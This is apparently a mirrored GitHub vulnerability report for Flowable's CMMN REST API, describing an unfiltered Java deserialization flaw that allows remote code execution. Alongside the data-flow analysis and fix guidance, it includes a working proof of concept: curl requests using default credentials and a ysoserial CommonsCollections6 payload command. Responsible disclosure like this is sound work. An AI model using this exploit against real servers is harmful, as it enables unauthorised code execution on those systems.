[SECURITY] Deserialization RCE via CMMN REST PlanItemInstance variable endpoint with type=serializable (CWE-502, CVSS 8.1)
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 4/5
- Thời gian dự kiến
- 3-5 ngày
- Mức phù hợp với người mới
- 30/100
Hướng nghiên cứu
The vulnerability is in BaseVariableResource.java lines 365-367, where ObjectInputStream.readObject() deserializes user input without filtering. Start by examining the flow from PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() through setBinaryVariable(). Understand the configuration property 'rest.variables.allow.serializable'. Done looks like implementing a safe deserialization method, such as using an ObjectInputFilter, and ensuring the fix is tested.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Flowable CMMN REST PlanItemInstance Variable Endpoint Deserialization RCE
Summary
The Flowable CMMN REST module's PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() endpoint allows uploading files via multipart/form-data to create plan item instance variables. When the type parameter is serializable, the system uses Java native ObjectInputStream.readObject() to deserialize the user-uploaded file content, with no class filtering applied (no whitelist, no blacklist, no ObjectInputFilter). The classpath contains commons-collections-3.2.2.jar, providing the CommonsCollections6 deserialization gadget chain. An attacker can construct a malicious serialized object to achieve remote code execution (RCE).
Affected Version & Commit
- Repository: https://github.com/flowable/flowable-engine
- Branch: main
- Commit: c72f39686367261f839ff1239be86d9fad10cb6f
Vulnerability Description
Trigger Location
file: modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java
line: 365-367
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
stream.close();
Data Flow
HTTP POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables
(Content-Type: multipart/form-data, file=<malicious serialized payload>, name=xxx, type=serializable)
↓
PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable()
PlanItemInstanceVariableCollectionResource.java:70-74
Calls getPlanItemInstanceFromRequest() to validate plan item existence, then calls createVariable()
↓
BaseVariableResource.createVariable(PlanItemInstance, boolean, HttpServletRequest, HttpServletResponse)
BaseVariableResource.java:188-191
↓
BaseVariableResource.createVariable(String, int, boolean, HttpServletRequest, ...)
BaseVariableResource.java:193-264
Detects request instanceof MultipartHttpServletRequest → true
Calls setBinaryVariable()
↓
BaseVariableResource.setBinaryVariable(MultipartHttpServletRequest, ...)
BaseVariableResource.java:303-391
Parses type=serializable → enters else if (isSerializableVariableAllowed) branch
↓
ObjectInputStream.readObject() ← SINK
BaseVariableResource.java:365-366
Directly deserializes user-uploaded file content, no class filtering → RCE
Configuration Switch (Enabled by Default)
BaseVariableResource.java:67:
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
Defaults to true, meaning the deserialization path is directly reachable under default configuration.
Affected Endpoints
POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables(port 8080)
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires valid HTTP Basic auth credentials (any registered Flowable user; default provides rest-admin:test account) |
| Network reachability | Internal network/public (HTTP reachable REST port 8080) |
| Configuration dependency | rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoint exposed |
| Other prerequisites | At least one active plan item instance must exist in the database; classpath contains commons-collections-3.2.2.jar |
Proof of Concept
# 1. Get available plan item instance list (if none, deploy CMMN case and start instance first)
curl -s -u rest-admin:test \
"http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances"
# 2. Generate CommonsCollections6 payload using ysoserial
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.text=ALL-UNNAMED \
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
--add-opens java.base/java.util.concurrent=ALL-UNNAMED \
--add-opens java.base/java.net=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 \
"touch /tmp/pwned_0405" > payload.ser
# 3. Send payload to target plan item instance
curl -X POST \
-u rest-admin:test \
"http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables" \
-F "name=exploit" \
-F "type=serializable" \
-F "scope=local" \
-F "[email protected]"
Actual execution results:
Payload send request returns HTTP 201 Created:
{
"name": "CommonsCollections6",
"type": "serializable",
"value": null,
"valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/d3159c3e-8ffe-11f1-a444-02423661ba3a/variables/CommonsCollections6/data",
"scope": "local"
}
RCE execution result confirmation:
$ ls -la /tmp/pwned_0405
-rw-r----- 1 root root 0 Aug 4 12:22 /tmp/pwned_0405
Exploitation Chain Progress
| Chain Stage | Location (file:line) | Status | Evidence / Notes |
|---|---|---|---|
| Entry | PlanItemInstanceVariableCollectionResource.java:70 | ✅ Connected | HTTP POST multipart request reached CMMN REST endpoint |
| Existence validation | BaseVariableResource.java:70-75 | ✅ Connected | planItemInstanceId validated via parameterized query |
| Multipart detection | BaseVariableResource.java:193 | ✅ Connected | request instanceof MultipartHttpServletRequest = true |
| Type branch | BaseVariableResource.java:363 | ✅ Connected | type=serializable → isSerializableVariableAllowed=true (default) |
| Sink | BaseVariableResource.java:365-366 | ✅ Triggered | ObjectInputStream.readObject() executes deserialization, triggers CC6 chain |
| RCE result | System filesystem | ✅ Success | Server created file /tmp/pwned_0405, HTTP 201 confirms variable storage success |
Impact
- Deserialization vulnerability confirmed: The server successfully received and deserialized the CommonsCollections6 payload via
ObjectInputStream.readObject() - RCE confirmed: The
touch /tmp/pwned_0405command in the payload executed successfully on the server, file created (timestamp Aug 4 12:22, matching request time) - HTTP 201 response proves the deserialized object was stored as a plan item instance variable with no exception thrown
- No class filtering protection: No ObjectInputFilter, whitelist, or blacklist configured in the code; readObject() called directly
Severity
CVSS v3.1: 8.1 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE: CWE-502 (Deserialization of Untrusted Data)
Credit
- Jiecub3 (GitHub ID: 87791178)
- Aur0ra-m (GitHub ID: 103031059)
- lz2y (GitHub ID: 55266300)
- Ngôn ngữ chính
- Java
- Star
- 9.6k
- Fork
- 2.9k
- Merge trung bình
- 1 giờ 9 phút
- Pull request đã merge (30 ngày)
- 2
Chuẩn bị môi trường
- Không có Dockerfile hay tệp Docker Compose
- Có mẫu pull request
- Không có hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của flowable/flowable-engine
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 88/100
flowable/flowable-engine#4268 ·
-
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 30/100
flowable/flowable-engine#4293 ·
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 35/100
flowable/flowable-engine#4292 ·
-
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 30/100
flowable/flowable-engine#4291 ·
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 48/100
flowable/flowable-engine#4290 ·
Tất cả issue của flowable/flowable-engine
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 84/100
beehive-lab/TornadoVM#1151 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 88/100
Maintainer thường phản hồi trong vòng 1 ngày
-
(cbor) `maxStringLength` not consistently checked for chunked (indefinite-length) text valuesĐang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 77/100
FasterXML/jackson-dataformats-binary#823 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 90/100
Maintainer thường phản hồi trong vòng 1 ngày
-
bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
Maintainer thường phản hồi trong vòng 1 ngày